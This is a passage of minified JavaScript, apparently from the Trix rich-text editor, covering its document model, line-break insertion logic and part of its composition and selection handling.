e;return"pre"===(e=window.getComputedStyle(t).whiteSpace)||"pre-wrap"===e||"pre-line"===e},x=function(t){return t&&!R(t.textContent)},g.prototype.translateBlockElementMarginsToNewlines=function(){var t,e,n,i,o,r,s;for(t=this.getMarginOfDefaultBlockElement(),s=[],n=e=0,i=(r=this.blocks).length;i>e;n=++e)r[n],(o=this.getMarginOfBlockElementAtIndex(n))&&(o.top>2*t.top&&this.prependStringToTextAtIndex("\n",n),s.push(o.bottom>2*t.bottom?this.appendStringToTextAtIndex("\n",n):void 0));return s},g.prototype.getMarginOfBlockElementAtIndex=function(t){var e,n;return!(e=this.blockElements[t])||!e.textContent||(n=l(e),f.call(r(),n)>=0||f.call(this.processedElements,e)>=0)?void 0:b(e)},g.prototype.getMarginOfDefaultBlockElement=function(){var t;return t=s(i.config.blockAttributes.default.tagName),this.containerElement.appendChild(t),b(t)},b=function(t){var e;return"block"===(e=window.getComputedStyle(t)).display?{top:parseInt(e.marginTop),bottom:parseInt(e.marginBottom)}:void 0},C=function(t){return t.replace(RegExp("^"+e.source+"+"),"")},k=function(t){return RegExp("^"+e.source+"*$").test(t)},R=function(t){return/\s$/.test(t)},g}(i.BasicObject)}.call(this),function(){var t,e,n,o,r=function(t,e){function n(){this.constructor=t}for(var i in e)s.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},s={}.hasOwnProperty,a=[].slice,u=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=i.arraysAreEqual,n=i.normalizeRange,o=i.rangeIsCollapsed,e=i.getBlockConfig,i.Document=function(s){function c(t){null==t&&(t=[]),c.__super__.constructor.apply(this,arguments),0===t.length&&(t=[new i.Block]),this.blockList=i.SplittableList.box(t)}var l;return r(c,s),c.fromJSON=function(t){var e;return new this(function(){var n,o,r;for(r=[],n=0,o=t.length;o>n;n++)e=t[n],r.push(i.Block.fromJSON(e));return r}())},c.fromHTML=function(t,e){return i.HTMLParser.parse(t,e).getDocument()},c.fromString=function(t,e){var n;return n=i.Text.textForStringWithAttributes(t,e),new this([new i.Block(n)])},c.prototype.isEmpty=function(){var t;return 1===this.blockList.length&&((t=this.getBlockAtIndex(0)).isEmpty()&&!t.hasAttributes())},c.prototype.copy=function(t){var e;return null==t&&(t={}),e=t.consolidateBlocks?this.blockList.consolidate().toArray():this.blockList.toArray(),new this.constructor(e)},c.prototype.copyUsingObjectsFromDocument=function(t){var e;return e=new i.ObjectMap(t.getObjects()),this.copyUsingObjectMap(e)},c.prototype.copyUsingObjectMap=function(t){var e,n,i;return n=function(){var n,o,r,s;for(s=[],n=0,o=(r=this.getBlocks()).length;o>n;n++)e=r[n],s.push((i=t.find(e))?i:e.copyUsingObjectMap(t));return s}.call(this),new this.constructor(n)},c.prototype.copyWithBaseBlockAttributes=function(t){var e,n,i;return null==t&&(t=[]),i=function(){var i,o,r,s;for(s=[],i=0,o=(r=this.getBlocks()).length;o>i;i++)n=r[i],e=t.concat(n.getAttributes()),s.push(n.copyWithAttributes(e));return s}.call(this),new this.constructor(i)},c.prototype.replaceBlock=function(t,e){var n;return-1===(n=this.blockList.indexOf(t))?this:new this.constructor(this.blockList.replaceObjectAtIndex(e,n))},c.prototype.insertDocumentAtRange=function(t,e){var i,r,s,a,u,c,l;return r=t.blockList,u=(e=n(e))[0],s=(c=this.locationFromPosition(u)).index,a=c.offset,l=this,i=this.getBlockAtPosition(u),o(e)&&i.isEmpty()&&!i.hasAttributes()?l=new this.constructor(l.blockList.removeObjectAtIndex(s)):i.getBlockBreakPosition()===a&&u++,l=l.removeTextAtRange(e),new this.constructor(l.blockList.insertSplittableListAtPosition(r,u))},c.prototype.mergeDocumentAtRange=function(e,i){var o,r,s,a,u,c,l,h,p,d,f,g;return f=(i=n(i))[0],d=this.locationFromPosition(f),r=this.getBlockAtIndex(d.index).getAttributes(),o=e.getBaseBlockAttributes(),g=r.slice(-o.length),t(o,g)?(l=r.slice(0,-o.length),c=e.copyWithBaseBlockAttributes(l)):c=e.copy({consolidateBlocks:!0}).copyWithBaseBlockAttributes(r),s=c.getBlockCount(),a=c.getBlockAtIndex(0),t(r,a.getAttributes())?(u=a.getTextWithoutBlockBreak(),p=this.insertTextAtRange(u,i),s>1&&(c=new this.constructor(c.getBlocks().slice(1)),h=f+u.getLength(),p=p.insertDocumentAtRange(c,h))):p=this.insertDocumentAtRange(c,i),p},c.prototype.insertTextAtRange=function(t,e){var i,o,r,s,a;return a=(e=n(e))[0],o=(s=this.locationFromPosition(a)).index,r=s.offset,i=this.removeTextAtRange(e),new this.constructor(i.blockList.editObjectAtIndex(o,function(e){return e.copyWithText(e.text.insertTextAtPosition(t,r))}))},c.prototype.removeTextAtRange=function(t){var e,i,r,s,a,u,c,l,h,p,d,f,g,m,y,v,b,A;return l=(p=t=n(t))[0],v=p[1],o(t)?this:(u=(d=this.locationRangeFromRange(t))[0],m=d[1],a=u.index,c=u.offset,s=this.getBlockAtIndex(a),g=m.index,y=m.offset,f=this.getBlockAtIndex(g),v-l==1&&s.getBlockBreakPosition()===c&&f.getBlockBreakPosition()!==y&&"\n"===f.text.getStringAtPosition(y)?r=this.blockList.editObjectAtIndex(g,function(t){return t.copyWithText(t.text.removeTextAtRange([y,y+1]))}):(h=s.text.getTextAtRange([0,c]),b=f.text.getTextAtRange([y,f.getLength()]),A=h.appendText(b),i=a!==g&&0===c&&s.getAttributeLevel()>=f.getAttributeLevel()?f.copyWithText(A):s.copyWithText(A),e=g+1-a,r=this.blockList.splice(a,e,i)),new this.constructor(r))},c.prototype.moveTextFromRangeToPosition=function(t,e){var i,o,r,s,u,c,l,h,p,d;return p=(c=t=n(t))[0],r=c[1],e>=p&&r>=e?this:(o=this.getDocumentAtRange(t),h=this.removeTextAtRange(t),(u=e>p)&&(e-=o.getLength()),s=(l=o.getBlocks())[0],0===(i=2<=l.length?a.call(l,1):[]).length?(d=s.getTextWithoutBlockBreak(),u&&(e+=1)):d=s.text,h=h.insertTextAtRange(d,e),0===i.length?h:(o=new this.constructor(i),e+=d.getLength(),h.insertDocumentAtRange(o,e)))},c.prototype.addAttributeAtRange=function(t,n,i){var o;return o=this.blockList,this.eachBlockAtRange(i,function(i,r,s){return o=o.editObjectAtIndex(s,function(){return e(t)?i.addAttribute(t,n):r[0]===r[1]?i:i.copyWithText(i.text.addAttributeAtRange(t,n,r))})}),new this.constructor(o)},c.prototype.addAttribute=function(t,e){var n;return n=this.blockList,this.eachBlock(function(i,o){return n=n.editObjectAtIndex(o,function(){return i.addAttribute(t,e)})}),new this.constructor(n)},c.prototype.removeAttributeAtRange=function(t,n){var i;return i=this.blockList,this.eachBlockAtRange(n,function(n,o,r){return e(t)?i=i.editObjectAtIndex(r,function(){return n.removeAttribute(t)}):o[0]!==o[1]?i=i.editObjectAtIndex(r,function(){return n.copyWithText(n.text.removeAttributeAtRange(t,o))}):void 0}),new this.constructor(i)},c.prototype.updateAttributesForAttachment=function(t,e){var n,i,o;return i=this.getRangeOfAttachment(e)[0],n=this.locationFromPosition(i).index,o=this.getTextAtIndex(n),new this.constructor(this.blockList.editObjectAtIndex(n,function(n){return n.copyWithText(o.updateAttributesForAttachment(t,e))}))},c.prototype.removeAttributeForAttachment=function(t,e){var n;return n=this.getRangeOfAttachment(e),this.removeAttributeAtRange(t,n)},c.prototype.insertBlockBreakAtRange=function(t){var e,o,r,s;return s=(t=n(t))[0],r=this.locationFromPosition(s).offset,o=this.removeTextAtRange(t),0===r&&(e=[new i.Block]),new this.constructor(o.blockList.insertSplittableListAtPosition(new i.SplittableList(e),s))},c.prototype.applyBlockAttributeAtRange=function(t,n,i){var o,r,s,a;return r=(s=this.expandRangeToLineBreaksAndSplitBlocks(i)).document,i=s.range,(o=e(t)).listAttribute?(a=(r=r.removeLastListAttributeAtRange(i,{exceptAttributeName:t})).convertLineBreaksToBlockBreaksInRange(i),r=a.document,i=a.range):r=o.exclusive?r.removeBlockAttributesAtRange(i):o.terminal?r.removeLastTerminalAttributeAtRange(i):r.consolidateBlocksAtRange(i),r.addAttributeAtRange(t,n,i)},c.prototype.removeLastListAttributeAtRange=function(t,n){var i;return null==n&&(n={}),i=this.blockList,this.eachBlockAtRange(t,function(t,o,r){var s;if((s=t.getLastAttribute())&&e(s).listAttribute&&s!==n.exceptAttributeName)return i=i.editObjectAtIndex(r,function(){return t.removeAttribute(s)})}),new this.constructor(i)},c.prototype.removeLastTerminalAttributeAtRange=function(t){var n;return n=this.blockList,this.eachBlockAtRange(t,function(t,i,o){var r;if((r=t.getLastAttribute())&&e(r).terminal)return n=n.editObjectAtIndex(o,function(){return t.removeAttribute(r)})}),new this.constructor(n)},c.prototype.removeBlockAttributesAtRange=function(t){var e;return e=this.blockList,this.eachBlockAtRange(t,function(t,n,i){return t.hasAttributes()?e=e.editObjectAtIndex(i,function(){return t.copyWithoutAttributes()}):void 0}),new this.constructor(e)},c.prototype.expandRangeToLineBreaksAndSplitBlocks=function(t){var e,i,o,r,s,a,u,c,l;return l=(a=t=n(t))[0],r=a[1],c=this.locationFromPosition(l),o=this.locationFromPosition(r),u=(e=this).getBlockAtIndex(c.index),null!=(c.offset=u.findLineBreakInDirectionFromPosition("backward",c.offset))&&(s=e.positionFromLocation(c),e=e.insertBlockBreakAtRange([s,s+1]),o.index+=1,o.offset-=e.getBlockAtIndex(c.index).getLength(),c.index+=1),c.offset=0,0===o.offset&&o.index>c.index?(o.index-=1,o.offset=e.getBlockAtIndex(o.index).getBlockBreakPosition()):("\n"===(i=e.getBlockAtIndex(o.index)).text.getStringAtRange([o.offset-1,o.offset])?o.offset-=1:o.offset=i.findLineBreakInDirectionFromPosition("forward",o.offset),o.offset!==i.getBlockBreakPosition()&&(s=e.positionFromLocation(o),e=e.insertBlockBreakAtRange([s,s+1]))),l=e.positionFromLocation(c),r=e.positionFromLocation(o),{document:e,range:t=n([l,r])}},c.prototype.convertLineBreaksToBlockBreaksInRange=function(t){var e,i,o;return i=(t=n(t))[0],o=this.getStringAtRange(t).slice(0,-1),e=this,o.replace(/.*?\n/g,function(t){return i+=t.length,e=e.insertBlockBreakAtRange([i-1,i])}),{document:e,range:t}},c.prototype.consolidateBlocksAtRange=function(t){var e,i,o,r,s;return s=(o=t=n(t))[0],i=o[1],r=this.locationFromPosition(s).index,e=this.locationFromPosition(i).index,new this.constructor(this.blockList.consolidateFromIndexToIndex(r,e))},c.prototype.getDocumentAtRange=function(t){var e;return t=n(t),e=this.blockList.getSplittableListInRange(t).toArray(),new this.constructor(e)},c.prototype.getStringAtRange=function(t){var e,i;return(i=t=n(t))[i.length-1]!==this.getLength()&&(e=-1),this.getDocumentAtRange(t).toString().slice(0,e)},c.prototype.getBlockAtIndex=function(t){return this.blockList.getObjectAtIndex(t)},c.prototype.getBlockAtPosition=function(t){var e;return e=this.locationFromPosition(t).index,this.getBlockAtIndex(e)},c.prototype.getTextAtIndex=function(t){var e;return null!=(e=this.getBlockAtIndex(t))?e.text:void 0},c.prototype.getTextAtPosition=function(t){var e;return e=this.locationFromPosition(t).index,this.getTextAtIndex(e)},c.prototype.getPieceAtPosition=function(t){var e,n,i;return e=(i=this.locationFromPosition(t)).index,n=i.offset,this.getTextAtIndex(e).getPieceAtPosition(n)},c.prototype.getCharacterAtPosition=function(t){var e,n,i;return e=(i=this.locationFromPosition(t)).index,n=i.offset,this.getTextAtIndex(e).getStringAtRange([n,n+1])},c.prototype.getLength=function(){return this.blockList.getEndPosition()},c.prototype.getBlocks=function(){return this.blockList.toArray()},c.prototype.getBlockCount=function(){return this.blockList.length},c.prototype.getEditCount=function(){return this.editCount},c.prototype.eachBlock=function(t){return this.blockList.eachObject(t)},c.prototype.eachBlockAtRange=function(t,e){var i,o,r,s,a,u,c,l,h,p,d,f;if(d=(u=t=n(t))[0],r=u[1],p=this.locationFromPosition(d),o=this.locationFromPosition(r),p.index===o.index)return i=this.getBlockAtIndex(p.index),f=[p.offset,o.offset],e(i,f,p.index);for(h=[],a=s=c=p.index,l=o.index;l>=c?l>=s:s>=l;a=l>=c?++s:--s)(i=this.getBlockAtIndex(a))?(f=function(){switch(a){case p.index:return[p.offset,i.text.getLength()];case o.index:return[0,o.offset];default:return[0,i.text.getLength()]}}(),h.push(e(i,f,a))):h.push(void 0);return h},c.prototype.getCommonAttributesAtRange=function(t){var e,r,s;return r=(t=n(t))[0],o(t)?this.getCommonAttributesAtPosition(r):(s=[],e=[],this.eachBlockAtRange(t,function(t,n){return n[0]!==n[1]?(s.push(t.text.getCommonAttributesAtRange(n)),e.push(l(t))):void 0}),i.Hash.fromCommonAttributesOfObjects(s).merge(i.Hash.fromCommonAttributesOfObjects(e)).toObject())},c.prototype.getCommonAttributesAtPosition=function(t){var e,n,o,r,s,a,c,h,p,d;if(s=(p=this.locationFromPosition(t)).index,h=p.offset,!(o=this.getBlockAtIndex(s)))return{};for(c in r=l(o),e=o.text.getAttributesAtPosition(h),n=o.text.getAttributesAtPosition(h-1),a=function(){var t,e;for(c in e=[],t=i.config.textAttributes)(d=t[c]).inheritable&&e.push(c);return e}(),n)((d=n[c])===e[c]||u.call(a,c)>=0)&&(r[c]=d);return r},c.prototype.getRangeOfCommonAttributeAtPosition=function(t,e){var i,o,r,s,a,u,c,l;return r=(a=this.locationFromPosition(e)).index,s=a.offset,l=(u=this.getTextAtIndex(r).getExpandedRangeForAttributeAtOffset(t,s))[0],o=u[1],c=this.positionFromLocation({index:r,offset:l}),i=this.positionFromLocation({index:r,offset:o}),n([c,i])},c.prototype.getBaseBlockAttributes=function(){var t,e,n,i,o,r,s;for(t=this.getBlockAtIndex(0).getAttributes(),n=i=1,s=this.getBlockCount();s>=1?s>i:i>s;n=s>=1?++i:--i)e=this.getBlockAtIndex(n).getAttributes(),r=Math.min(t.length,e.length),t=function(){var n,i,s;for(s=[],o=n=0,i=r;(i>=0?i>n:n>i)&&e[o]===t[o];o=i>=0?++n:--n)s.push(e[o]);return s}();return t},l=function(t){var e,n;return n={},(e=t.getLastAttribute())&&(n[e]=!0),n},c.prototype.getAttachmentById=function(t){var e,n,i,o;for(n=0,i=(o=this.getAttachments()).length;i>n;n++)if((e=o[n]).id===t)return e},c.prototype.getAttachmentPieces=function(){var t;return t=[],this.blockList.eachObject(function(e){var n;return n=e.text,t=t.concat(n.getAttachmentPieces())}),t},c.prototype.getAttachments=function(){var t,e,n,i,o;for(o=[],t=0,e=(i=this.getAttachmentPieces()).length;e>t;t++)n=i[t],o.push(n.attachment);return o},c.prototype.getRangeOfAttachment=function(t){var e,i,o,r,s,a,u;for(r=0,i=e=0,o=(s=this.blockList.toArray()).length;o>e;i=++e){if(u=(a=s[i].text).getRangeOfAttachment(t))return n([r+u[0],r+u[1]]);r+=a.getLength()}},c.prototype.getLocationRangeOfAttachment=function(t){var e;return e=this.getRangeOfAttachment(t),this.locationRangeFromRange(e)},c.prototype.getAttachmentPieceForAttachment=function(t){var e,n,i,o;for(e=0,n=(o=this.getAttachmentPieces()).length;n>e;e++)if((i=o[e]).attachment===t)return i},c.prototype.findRangesForBlockAttribute=function(t){var e,n,i,o,r,s,a;for(r=0,s=[],n=0,i=(a=this.getBlocks()).length;i>n;n++)o=(e=a[n]).getLength(),e.hasAttribute(t)&&s.push([r,r+o]),r+=o;return s},c.prototype.findRangesForTextAttribute=function(t,e){var n,i,o,r,s,a,u,c,l,h;for(h=(null!=e?e:{}).withValue,a=0,u=[],c=[],r=function(e){return null!=h?e.getAttribute(t)===h:e.hasAttribute(t)},n=0,i=(l=this.getPieces()).length;i>n;n++)o=(s=l[n]).getLength(),r(s)&&(u[1]===a?u[1]=a+o:c.push(u=[a,a+o])),a+=o;return c},c.prototype.locationFromPosition=function(t){var e,n;return null!=(n=this.blockList.findIndexAndOffsetAtPosition(Math.max(0,t))).index?n:{index:(e=this.getBlocks()).length-1,offset:e[e.length-1].getLength()}},c.prototype.positionFromLocation=function(t){return this.blockList.findPositionAtIndexAndOffset(t.index,t.offset)},c.prototype.locationRangeFromPosition=function(t){return n(this.locationFromPosition(t))},c.prototype.locationRangeFromRange=function(t){var e,i,o,r;if(t=n(t))return r=t[0],i=t[1],o=this.locationFromPosition(r),e=this.locationFromPosition(i),n([o,e])},c.prototype.rangeFromLocationRange=function(t){var e,i;return t=n(t),e=this.positionFromLocation(t[0]),o(t)||(i=this.positionFromLocation(t[1])),n([e,i])},c.prototype.isEqualTo=function(t){return this.blockList.isEqualTo(null!=t?t.blockList:void 0)},c.prototype.getTexts=function(){var t,e,n,i,o;for(o=[],e=0,n=(i=this.getBlocks()).length;n>e;e++)t=i[e],o.push(t.text);return o},c.prototype.getPieces=function(){var t,e,n,i,o;for(n=[],t=0,e=(i=this.getTexts()).length;e>t;t++)o=i[t],n.push.apply(n,o.getPieces());return n},c.prototype.getObjects=function(){return this.getBlocks().concat(this.getTexts()).concat(this.getPieces())},c.prototype.toSerializableDocument=function(){var t;return t=[],this.blockList.eachObject(function(e){return t.push(e.copyWithText(e.text.toSerializableText()))}),new this.constructor(t)},c.prototype.toString=function(){return this.blockList.toString()},c.prototype.toJSON=function(){return this.blockList.toJSON()},c.prototype.toConsole=function(){var t;return JSON.stringify(function(){var e,n,i,o;for(o=[],e=0,n=(i=this.blockList.toArray()).length;n>e;e++)t=i[e],o.push(JSON.parse(t.text.toConsole()));return o}.call(this))},c}(i.Object)}.call(this),function(){i.LineBreakInsertion=function(){function t(t){var e;this.composition=t,this.document=this.composition.document,e=this.composition.getSelectedRange(),this.startPosition=e[0],this.endPosition=e[1],this.startLocation=this.document.locationFromPosition(this.startPosition),this.endLocation=this.document.locationFromPosition(this.endPosition),this.block=this.document.getBlockAtIndex(this.endLocation.index),this.breaksOnReturn=this.block.breaksOnReturn(),this.previousCharacter=this.block.text.getStringAtPosition(this.endLocation.offset-1),this.nextCharacter=this.block.text.getStringAtPosition(this.endLocation.offset)}return t.prototype.shouldInsertBlockBreak=function(){return this.block.hasAttributes()&&this.block.isListItem()&&!this.block.isEmpty()?0!==this.startLocation.offset:this.breaksOnReturn&&"\n"!==this.nextCharacter},t.prototype.shouldBreakFormattedBlock=function(){return this.block.hasAttributes()&&!this.block.isListItem()&&(this.breaksOnReturn&&"\n"===this.nextCharacter||"\n"===this.previousCharacter)},t.prototype.shouldDecreaseListLevel=function(){return this.block.hasAttributes()&&this.block.isListItem()&&this.block.isEmpty()},t.prototype.shouldPrependListItem=function(){return this.block.isListItem()&&0===this.startLocation.offset&&!this.block.isEmpty()},t.prototype.shouldRemoveLastBlockAttribute=function(){return this.block.hasAttributes()&&!this.block.isListItem()&&this.block.isEmpty()},t}()}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h=function(t,e){function n(){this.constructor=t}for(var i in e)p.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},p={}.hasOwnProperty;s=i.normalizeRange,c=i.rangesAreEqual,u=i.rangeIsCollapsed,a=i.objectsAreEqual,t=i.arrayStartsWith,l=i.summarizeArrayChange,n=i.getAllAttributeNames,o=i.getBlockConfig,r=i.getTextConfig,e=i.extend,i.Composition=function(p){function d(){this.document=new i.Document,this.attachments=[],this.currentAttributes={},this.revision=0}return h(d,p),d.prototype.setDocument=function(t){var e;return t.isEqualTo(this.document)?void 0:(this.document=t,this.refreshAttachments(),this.revision++,null!=(e=this.delegate)&&"function"==typeof e.compositionDidChangeDocument?e.compositionDidChangeDocument(t):void 0)},d.prototype.getSnapshot=function(){return{document:this.document,selectedRange:this.getSelectedRange()}},d.prototype.loadSnapshot=function(t){var e,n,o,r;return e=t.document,r=t.selectedRange,null!=(n=this.delegate)&&"function"==typeof n.compositionWillLoadSnapshot&&n.compositionWillLoadSnapshot(),this.setDocument(null!=e?e:new i.Document),this.setSelection(null!=r?r:[0,0]),null!=(o=this.delegate)&&"function"==typeof o.compositionDidLoadSnapshot?o.compositionDidLoadSnapshot():void 0},d.prototype.insertText=function(t,e){var n,i,o,r;return r=(null!=e?e:{updatePosition:!0}).updatePosition,i=this.getSelectedRange(),this.setDocument(this.document.insertTextAtRange(t,i)),n=(o=i[0])+t.getLength(),r&&this.setSelection(n),this.notifyDelegateOfInsertionAtRange([o,n])},d.prototype.insertBlock=function(t){var e;return null==t&&(t=new i.Block),e=new i.Document([t]),this.insertDocument(e)},d.prototype.insertDocument=function(t){var e,n,o;return null==t&&(t=new i.Document),n=this.getSelectedRange(),this.setDocument(this.document.insertDocumentAtRange(t,n)),e=(o=n[0])+t.getLength(),this.setSelection(e),this.notifyDelegateOfInsertionAtRange([o,e])},d.prototype.insertString=function(t,e){var n,o;return n=this.getCurrentTextAttributes(),o=i.Text.textForStringWithAttributes(t,n),this.insertText(o,e)},d.prototype.insertBlockBreak=function(){var t,e,n;return e=this.getSelectedRange(),this.setDocument(this.document.insertBlockBreakAtRange(e)),t=(n=e[0])+1,this.setSelection(t),this.notifyDelegateOfInsertionAtRange([n,t])},d.prototype.insertLineBreak=function(){var t,e;return(e=new i.LineBreakInsertion(this)).shouldDecreaseListLevel()?(this.decreaseListLevel(),this.setSelection(e.startPosition)):e.shouldPrependListItem()?(t=new i.Document([e.block.copyWithoutText()]),this.insertDocument(t)):e.shouldInsertBlockBreak()?this.insertBlockBreak():e.shouldRemoveLastBlockAttribute()?this.removeLastBlockAttribute():e.shouldBreakFormattedBlock()?this.breakFormattedBlock(e):this.insertString("\n")},d.prototype.insertHTML=function(t){var e,n,o,r;return e=i.Document.fromHTML(t),o=this.getSelectedRange(),this.setDocument(this.document.mergeDocumentAtRange(e,o)),n=(r=o[0])+e.getLength()-1,this.setSelection(n),this.notifyDelegateOfInsertionAtRange([r,n])},d.prototype.replaceHTML=function(t){var e,n,o;return e=i.Document.fromHTML(t).copyUsingObjectsFromDocument(this.document),n=this.getLocationRange({strict:!1}),o=this.document.rangeFromLocationRange(n),this.setDocument(e),this.setSelection(o)},d.prototype.insertFile=function(t){return this.insertFiles([t])},d.prototype.insertFiles=function(t){var e,n,o,r,s,a;for(n=[],r=0,s=t.length;s>r;r++)o=t[r],(null!=(a=this.delegate)?a.compositionShouldAcceptFile(o):void 0)&&(e=i.Attachment.attachmentForFile(o),n.push(e));return this.insertAttachments(n)},d.prototype.insertAttachment=function(t){return this.insertAttachments([t])},d.prototype.insertAttachments=function(t){var e,n,o,r,s,a,u,c,l;for(c=new i.Text,r=0,s=t.length;s>r;r++)l=(e=t[r]).getType(),a=null!=(u=i.config.attachments[l])?u.presentation:void 0,o=this.getCurrentTextAttributes(),a&&(o.presentation=a),n=i.Text.textForAttachmentWithAttributes(e,o),c=c.appendText(n);return this.insertText(c)},d.prototype.shouldManageDeletingInDirection=function(t){var e;if(e=this.getLocationRange(),u(e)){if("backward"===t&&0===e[0].offset)return!0;if(this.shouldManageMovingCursorInDirection(t))return!0}else if(e[0].index!==e[1].index)return!0;return!1},d.prototype.deleteInDirection=function(t,e){var n,i,o,r,s,a,c,l;return r=(null!=e?e:{}).length,s=this.getLocationRange(),a=this.getSelectedRange(),(c=u(a))?o="backward"===t&&0===s[0].offset:l=s[0].index!==s[1].index,!(o&&this.canDecreaseBlockAttributeLevel()&&(i=this.getBlock(),i.isListItem()?this.decreaseListLevel():this.decreaseBlockAttributeLevel(),this.setSelection(a[0]),i.isEmpty()))&&(c&&(a=this.getExpandedRangeInDirection(t,{length:r}),"backward"===t&&(n=this.getAttachmentAtRange(a))),n?(this.editAttachment(n),!1):(this.setDocument(this.document.removeTextAtRange(a)),this.setSelection(a[0]),!o&&!l&&void 0))},d.prototype.moveTextFromRange=function(t){var e;return e=this.getSelectedRange()[0],this.setDocument(this.document.moveTextFromRangeToPosition(t,e)),this.setSelection(e)},d.prototype.removeAttachment=function(t){var e;return(e=this.document.getRangeOfAttachment(t))?(this.stopEditingAttachment(),this.setDocument(this.document.removeTextAtRange(e)),this.setSelection(e[0])):void 0},d.prototype.removeLastBlockAttribute=function(){var t,e,n,i;return i=(n=this.getSelectedRange())[0],e=n[1],t=this.document.getBlockAtPosition(e),this.removeCurrentAttribute(t.getLastAttribute()),this.setSelection(i)}," ",d.prototype.insertPlaceholder=function(){return this.placeholderPosition=this.getPosition(),this.insertString(" ")},d.prototype.selectPlaceholder=function(){return null!=this.placeholderPosition?(this.setSelectedRange([this.placeholderPosition,this.placeholderPosition+" ".length]),this.getSelectedRange()):void 0},d.prototype.forgetPlaceholder=function(){return this.placeholderPosition=null},d.prototype.hasCurrentAttribute=function(t){var e;return null!=(e=this.currentAttributes[t])&&!1!==e},d.prototype.toggleCurrentAttribute=function(t){var e;return(e=!this.currentAttributes[t])?this.setCurrentAttribute(t,e):this.removeCurrentAttribute(t)},d.prototype.canSetCurrentAttribute=function(t){return o(t)?this.canSetCurrentBlockAttribute(t):this.canSetCurrentTextAttribute(t)},d.prototype.canSetCurrentTextAttribute=function(){var t,e,n,i;if(t=this.getSelectedDocument()){for(e=0,n=(i=t.getAttachments()).length;n>e;e++)if(!i[e].hasContent())return!1;return!0}},d.prototype.canSetCurrentBlockAttribute=function(){var t;if(t=this.getBlock())return!t.isTerminalBlock()},d.prototype.setCurrentAttribute=function(t,e){return o(t)?this.setBlockAttribute(t,e):(this.setTextAttribute(t,e),this.currentAttributes[t]=e,this.notifyDelegateOfCurrentAttributesChange())},d.prototype.setTextAttribute=function(t,e){var n,o;if(n=this.getSelectedRange())return n[0]!==n[1]?this.setDocument(this.document.addAttributeAtRange(t,e,n)):"href"===t?(o=i.Text.textForStringWithAttributes(e,{href:e}),this.insertText(o)):void 0},d.prototype.setBlockAttribute=function(t,e){var n;if(n=this.getSelectedRange())return this.canSetCurrentAttribute(t)?(this.getBlock(),this.setDocument(this.document.applyBlockAttributeAtRange(t,e,n)),this.setSelection(n)):void 0},d.prototype.removeCurrentAttribute=function(t){return o(t)?(this.removeBlockAttribute(t),this.updateCurrentAttributes()):(this.removeTextAttribute(t),delete this.currentAttributes[t],this.notifyDelegateOfCurrentAttributesChange())},d.prototype.removeTextAttribute=function(t){var e;if(e=this.getSelectedRange())return this.setDocument(this.document.removeAttributeAtRange(t,e))},d.prototype.removeBlockAttribute=function(t){var e;if(e=this.getSelectedRange())return this.setDocument(this.document.removeAttributeAtRange(t,e))},d.prototype.canDecreaseNestingLevel=function(){var t;return(null!=(t=this.getBlock())?t.getNestingLevel():void 0)>0},d.prototype.canIncreaseNestingLevel=function(){var e,n,i;if(e=this.getBlock())return null!=(i=o(e.getLastNestableAttribute()))&&i.listAttribute?(n=this.getPreviousBlock())?t(n.getListItemAttributes(),e.getListItemAttributes()):void 0:e.getNestingLevel()>0},d.prototype.decreaseNestingLevel=function(){var t;if(t=this.getBlock())return this.setDocument(this.document.replaceBlock(t,t.decreaseNestingLevel()))},d.prototype.increaseNestingLevel=function(){var t;if(t=this.getBlock())return this.setDocument(this.document.replaceBlock(t,t.increaseNestingLevel()))},d.prototype.canDecreaseBlockAttributeLevel=function(){var t;return(null!=(t=this.getBlock())?t.getAttributeLevel():void 0)>0},d.prototype.decreaseBlockAttributeLevel=function(){var t,e;return(t=null!=(e=this.getBlock())?e.getLastAttribute():void 0)?this.removeCurrentAttribute(t):void 0},d.prototype.decreaseListLevel=function(){var t,e,n,i,o,r;for(r=this.getSelectedRange()[0],n=o=this.document.locationFromPosition(r).index,t=this.getBlock().getAttributeLevel();(e=this.document.getBlockAtIndex(n+1))&&e.isListItem()&&e.getAttributeLevel()>t;)n++;return r=this.document.positionFromLocation({index:o,offset:0}),i=this.document.positionFromLocation({index:n,offset:0}),this.setDocument(this.document.removeLastListAttributeAtRange([r,i]))},d.prototype.updateCurrentAttributes=function(){var t,e,i,o,r,s;if(s=this.getSelectedRange({ignoreLock:!0})){for(e=this.document.getCommonAttributesAtRange(s),i=0,o=(r=n()).length;o>i;i++)e[t=r[i]]||this.canSetCurrentAttribute(t)||(e[t]=!1);if(!a(e,this.currentAttributes))return this.currentAttributes=e,this.notifyDelegateOfCurrentAttributesChange()}},d.prototype.getCurrentAttributes=function(){return e.call({},this.currentAttributes)},d.prototype.getCurrentTextAttributes=function(){var t,e,n,i;for(e in t={},n=this.currentAttributes)!1!==(i=n[e])&&r(e)&&(t[e]=i);return t},d.prototype.freezeSelection=function(){return this.setCurrentAttribute("frozen",!0)},d.prototype.thawSelection=function(){return this.removeCurrentAttribute("frozen")},d.prototype.hasFrozenSelection=function(){return this.hasCurrentAttribute("frozen")},d.proxyMethod("getSelectionManager().getPointRange"),d.proxyMethod("getSelectionManager().setLocationRangeFromPointRange"),d.proxyMethod("getSelectionManager().createLocationRangeFromDOMRange"),d.proxyMethod("getSelectionManager().locationIsCursorTarget"),d.proxyMethod("getSelectionManager().selectionIsExpanded"),d.proxyMethod("delegate?.getSelectionManager"),d.prototype.setSelection=function(t){var e,n;return e=this.document.locationRangeFromRange(t),null!=(n=this.delegate)?n.compositionDidRequestChangingSelectionToLocationRange(e):void 0},d.prototype.getSelectedRange=function(){var t;return(t=this.getLocationRange())?this.document.rangeFromLocationRange(t):void 0},d.prototype.setSelectedRange=function(t){var e;return e=this.document.locationRangeFromRange(t),this.getSelectionManager().setLocationRange(e)},d.prototype.getPosition=function(){var t;return(t=this.getLocationRange())?this.document.positionFromLocation(t[0]):void 0},d.prototype.getLocationRange=function(t){var e,n;return null!=(e=null!=(n=this.targetLocationRange)?n:this.getSelectionManager().getLocationRange(t))?e:s({index:0,offset:0})},d.prototype.withTargetLocationRange=function(t,e){var n;this.targetLocationRange=t;try{n=e()}finally{this.targetLocationRange=null}return n},d.prototype.withTargetRange=function(t,e){var n;return n=this.document.locationRangeFromRange(t),this.withTargetLocationRange(n,e)},d.prototype.withTargetDOMRange=function(t,e){var n;return 